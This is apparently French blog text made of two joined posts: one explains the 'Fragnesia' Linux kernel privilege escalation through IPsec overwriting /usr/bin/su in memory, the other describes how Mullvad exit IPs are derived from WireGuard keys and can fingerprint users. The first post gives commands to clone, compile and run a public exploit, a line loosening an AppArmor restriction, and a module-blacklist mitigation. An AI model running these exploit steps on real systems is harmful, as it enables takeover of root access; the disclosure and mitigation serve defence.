Et la mauvaise nouvelle, en fait, c'est que Fragnesia tape dans la même surface d'attaque que Dirty Frag , mais via un bug logique différent qui n'est pas fixé par le patch initial. Donc si vous aviez sagement mis à jour votre noyau le 8 mai dernier en pensant être tranquille, hé bah désolé, vous êtes toujours à poil !

La lignée "Dirty" continue donc tout simplement de s'allonger... Dirty COW en 2016, Dirty Pipe en 2022, Copy Fail le 1er mai 2026, Dirty Frag le 8 mai, et maintenant Fragnesia le 14 mai. Quatre LPE (local privilege escalation) kernel Linux en deux semaines, c'est un record je crois !

Alors comment ça marche ?

Le bug se planque dans la partie du kernel qui gère le chiffrement réseau IPsec. C'est le truc qu'on utilise pour faire du VPN d'entreprise et l'attaque détourne le moteur de chiffrement pour qu'il écrive là où il ne devrait surtout pas écrire.

Le déroulé ensuite est assez simple à comprendre. Il prend un fichier sensible déjà ouvert en lecture (genre /usr/bin/su, le programme qui fait passer en root), il le balance dans une connexion réseau, et il dit au kernel "tiens, chiffre-moi tout ça en IPsec". Le kernel obéit gentiment, sauf qu'au lieu d'envoyer le résultat chiffré sur le réseau, il vient écraser la version du fichier qui est en mémoire avec les octets chiffrés. Du coup /usr/bin/su contient maintenant du code choisi par l'attaquant. Suffit ensuite de taper su pour devenir root.

Et là c'est le drame !

Le pire, c'est qu'il n'y a aucun "tirage au sort" dans tout ça. Pas besoin de gagner une condition de course une fois sur mille comme à l'époque de Dirty COW. Là, c'est 100% reproductible à chaque exécution, ça marche du premier coup.

La cause profonde, c'est une fonction kernel qui assemble des morceaux de paquets réseau et qui oublie au passage que certains morceaux pointent vers de la mémoire qui ne lui appartient pas vraiment (genre la mémoire d'un fichier qu'un autre process est en train de lire). Bowling appelle ça la "famille Dirty Frag" parce que c'est exactement le même genre d'amnésie qui avait permis Dirty Frag la semaine dernière.

Et le patch du 8 mai n'a pas suffi parce qu'il a juste rebouché un trou particulier, sans toucher à la fonction d'origine. D'où la sortie immédiate du PoC le 14 mai, parce qu'autant prévenir tout le monde, plutôt que de laisser un 0-day silencieux circuler dans les milieux moins recommandables d'Internet.

Testez sur votre Linux

Si vous voulez reproduire ça dans un environnement isolé (genre une VM Ubuntu 24.04 avec un kernel 6.8.0-111-generic), c'est simple :

git clone https://github.com/v12-security/pocs.git
cd pocs/fragnesia
gcc -o exp fragnesia.c && ./exp

sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/fragnesia/fragnesia-1.mp4">lien vers la vidéo</a>.

echo 3 > /proc/sys/vm/drop_caches

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/fragnesia.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Je me sors 5 min de mon weekend en amoureux les amis, pour avertir ceux parmi vous qui sont des utilisateurs de Mullvad, peu importe que vous soyez sur macOS, Windows ou un Linux Ubuntu/Debian... Si vous jonglez entre les serveurs en pensant brouiller votre piste, j'ai une mauvaise nouvelle pour vous.

Tmctmt vient de publier une analyse qui montre que vos IPs de sortie sont beaucoup moins aléatoires qu'on ne l'imagine. En fait, votre clé WireGuard agit comme une empreinte qui survit aux changements de pays.

Le mécanisme est un peu tordu, mais vous allez vite capter. En fait votre IP de sortie n'est pas tirée au hasard à chaque connexion, mais est calculée de façon déterministe à partir de votre clé WireGuard. Ou plutôt, à partir d'un float dérivé de cette clé, qui sert ensuite à vous positionner dans les plages d'IPs de Mullvad. Cette clé change tous les 1 à 30 jours, sauf si vous utilisez un client tiers (genre le driver WireGuard intégré au kernel Linux), et dans ce cas là, y'a pas de rotation.

Le chercheur a testé 3650 clés publiques, et il n'a obtenu que 284 combinaisons d'IPs distinctes alors que théoriquement, ça devrait donner des milliards. Bref, c'est moins varié qu'une plaque d'immat de votre département.

Imaginez maintenant un modérateur de forum qui voit débarquer un nouveau compte le lendemain d'un ban. Il croise les IPs Mullvad des deux comptes et tombe sur des plages flottantes qui se chevauchent, genre 0.4334 à 0.4428 d'un côté, 0.4358 à 0.4423 de l'autre. Hé bien ça veut dire qu'il y a plus de 99% de chances que ce soit la même personne. Et cela même si les deux IPs viennent de pays différents... argh !

Mais bonne nouvelle, pour fixer ce bug, c'est l'affaire de 5 secondes. Il suffit d'éviter de jongler entre 12 serveurs avec la même clé et voilà ! Et n'oubliez pas non plus de vous déconnecter de l'app Mullvad de temps en temps pour forcer la rotation de votre pubkey. Enfin, si vous êtes du genre puriste à utiliser WireGuard en direct via le client kernel, là c'est à vous de re-générer la clé manuellement, sinon vous gardez la même empreinte ad vitam.

Voili voilou...

Mullvad reste quand même un des rares VPN à avoir prouvé en justice, après le raid de la police suédoise en avril 2023, qu'il n'avait aucun log à fournir. Mais ce genre de problème mérite, je trouve, un petit patch côté Mullvad. Un petit seed aléatoire à chaque renouvellement de clé suffirait par exemple...

Et si le sujet VPN vous intéresse plus globalement, j'avais fait un guide complet qui peut compléter.

Source : tmctmt.com